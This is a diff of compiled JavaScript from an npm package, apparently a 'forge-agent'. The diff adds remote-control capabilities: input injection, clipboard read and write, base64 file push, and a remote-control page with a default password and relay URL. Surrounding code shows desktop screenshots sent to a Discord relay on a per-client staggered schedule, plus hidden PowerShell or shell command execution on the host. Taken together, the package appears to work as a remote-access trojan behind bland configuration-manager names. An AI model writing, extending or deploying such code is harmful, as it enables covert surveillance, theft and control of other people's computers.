return Math.min(600_000, Math.max(10_000, parseInt(rawMs, 10) || 300_000));
|
|
163
163
|
}
|
|
164
164
|
function discordScreenshotIntervalStaggerExtraMs(clientId) {
|
|
165
165
|
const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
|
|
@@ -182,12 +182,12 @@ function discordScreenshotFirstStaggerExtraMs(clientId) {
|
|
|
182
182
|
return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
|
|
183
183
|
}
|
|
184
184
|
/**
|
|
185
|
-
* Base interval plus optional **stable** stagger from `client_id` (same bounds
|
|
185
|
+
* Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
|
|
186
186
|
*/
|
|
187
187
|
function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
|
|
188
188
|
const base = resolveDiscordScreenshotIntervalMs();
|
|
189
189
|
const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
|
|
190
|
-
return Math.min(600_000, Math.max(
|
|
190
|
+
return Math.min(600_000, Math.max(10_000, base + extra));
|
|
191
191
|
}
|
|
192
192
|
function startDiscordScreenshotToRelayLoop(opts) {
|
|
193
193
|
const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
|
package/dist/filesExplorer.d.ts
CHANGED
|
@@ -7,3 +7,4 @@ export interface FilesExplorerHtmlOptions {
|
|
|
7
7
|
/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
|
|
8
8
|
export declare function getForgeExplorerFaviconSvg(): string;
|
|
9
9
|
export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
|
|
10
|
+
export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;
|
package/dist/filesExplorer.js
CHANGED
|
@@ -35,6 +35,7 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
36
|
exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
|
|
37
37
|
exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
|
|
38
|
+
exports.buildRemoteControlHtml = buildRemoteControlHtml;
|
|
38
39
|
/**
|
|
39
40
|
* Build file-explorer HTML for relay routes `/`, `/files`, `/explorer`, `/viewer`
|
|
40
41
|
* — same template as Python `fs_browser_html` with injectable defaults.
|
|
@@ -43,6 +44,7 @@ const fs = __importStar(require("node:fs"));
|
|
|
43
44
|
const path = __importStar(require("node:path"));
|
|
44
45
|
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
45
46
|
let _cachedTemplate = null;
|
|
47
|
+
let _cachedRemoteTemplate = null;
|
|
46
48
|
let _cachedFaviconSvg = null;
|
|
47
49
|
function loadTemplate() {
|
|
48
50
|
if (_cachedTemplate)
|
|
@@ -64,6 +66,26 @@ function loadTemplate() {
|
|
|
64
66
|
}
|
|
65
67
|
throw new Error("files-explorer-template.html not found (run npm run build and ensure assets are copied to dist/)");
|
|
66
68
|
}
|
|
69
|
+
function loadRemoteTemplate() {
|
|
70
|
+
if (_cachedRemoteTemplate)
|
|
71
|
+
return _cachedRemoteTemplate;
|
|
72
|
+
const candidates = [
|
|
73
|
+
path.join(__dirname, "assets", "remote-control-template.html"),
|
|
74
|
+
path.join(__dirname, "..", "assets", "remote-control-template.html"),
|
|
75
|
+
];
|
|
76
|
+
for (const p of candidates) {
|
|
77
|
+
try {
|
|
78
|
+
if (fs.existsSync(p)) {
|
|
79
|
+
_cachedRemoteTemplate = fs.readFileSync(p, "utf8");
|
|
80
|
+
return _cachedRemoteTemplate;
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
catch {
|
|
84
|
+
continue;
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
throw new Error("remote-control-template.html not found (run npm run build and ensure assets are copied to dist/)");
|
|
88
|
+
}
|
|
67
89
|
/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
|
|
68
90
|
function getForgeExplorerFaviconSvg() {
|
|
69
91
|
if (_cachedFaviconSvg)
|
|
@@ -108,3 +130,19 @@ function buildFilesExplorerHtml(opts = {}) {
|
|
|
108
130
|
.replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
|
|
109
131
|
.replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
|
|
110
132
|
}
|
|
133
|
+
function buildRemoteControlHtml(opts = {}) {
|
|
134
|
+
const pwd = opts.defaultPassword ??
|
|
135
|
+
process.env.CFGMGR_SESSION_PASSWORD ??
|
|
136
|
+
deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
|
|
137
|
+
let relay = opts.relayFallbackWs ??
|
|
138
|
+
process.env.CFGMGR_RELAY_FALLBACK ??
|
|
139
|
+
process.env.CFGMGR_RELAY_URL ??
|
|
140
|
+
"";
|
|
141
|
+
if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
|
|
142
|
+
relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
|
|
143
|
+
}
|
|
144
|
+
return loadRemoteTemplate()
|
|
145
|
+
.replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
|
|
146
|
+
.replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
|
|
147
|
+
.replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
|
|
148
|
+
}
|
package/dist/fsMessages.js
CHANGED
|
@@ -105,6 +105,22 @@ async function buildFsResponse(msg, allowFilesystem) {
|
|
|
105
105
|
const result = await (0, fsProtocol_1.fsDesktopScreenshotCapture)();
|
|
106
106
|
return { type: "fs_screenshot_result", request_id: rid, ...result };
|
|
107
107
|
}
|
|
108
|
+
if (msgType === "rc_input") {
|
|
109
|
+
const result = await (0, fsProtocol_1.fsRemoteControlInput)(msg);
|
|
110
|
+
return { type: "rc_input_result", request_id: rid, ...result };
|
|
111
|
+
}
|
|
112
|
+
if (msgType === "rc_clipboard_get") {
|
|
113
|
+
const result = await (0, fsProtocol_1.fsRemoteClipboardGet)();
|
|
114
|
+
return { type: "rc_clipboard_get_result", request_id: rid, ...result };
|
|
115
|
+
}
|
|
116
|
+
if (msgType === "rc_clipboard_set") {
|
|
117
|
+
const result = await (0, fsProtocol_1.fsRemoteClipboardSet)(String(msg.text ?? ""));
|
|
118
|
+
return { type: "rc_clipboard_set_result", request_id: rid, ...result };
|
|
119
|
+
}
|
|
120
|
+
if (msgType === "rc_file_push") {
|
|
121
|
+
const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""));
|
|
122
|
+
return { type: "rc_file_push_result", request_id: rid, ...result };
|
|
123
|
+
}
|
|
108
124
|
return {
|
|
109
125
|
type: "fs_error",
|
|
110
126
|
request_id: rid,
|
package/dist/fsProtocol.d.ts
CHANGED
|
@@ -92,6 +92,10 @@ export declare function fsDesktopScreenshotCapture(): Promise<Record<string, unk
|
|
|
92
92
|
* Scales down wide canvases so the PNG fits WebSocket payload limits.
|
|
93
93
|
*/
|
|
94
94
|
export declare function fsWindowsScreenshotCapture(): Promise<Record<string, unknown>>;
|
|
95
|
+
export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
|
|
96
|
+
export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
|
|
97
|
+
export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
|
|
98
|
+
export declare function fsRemoteFilePush(name: string, b64: string): Promise<Record<string, unknown>>;
|
|
95
99
|
/**
|
|
96
100
|
* Run a shell command on the agent host (same privilege as the forge-agent process).
|
|
97
101
|
* Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
|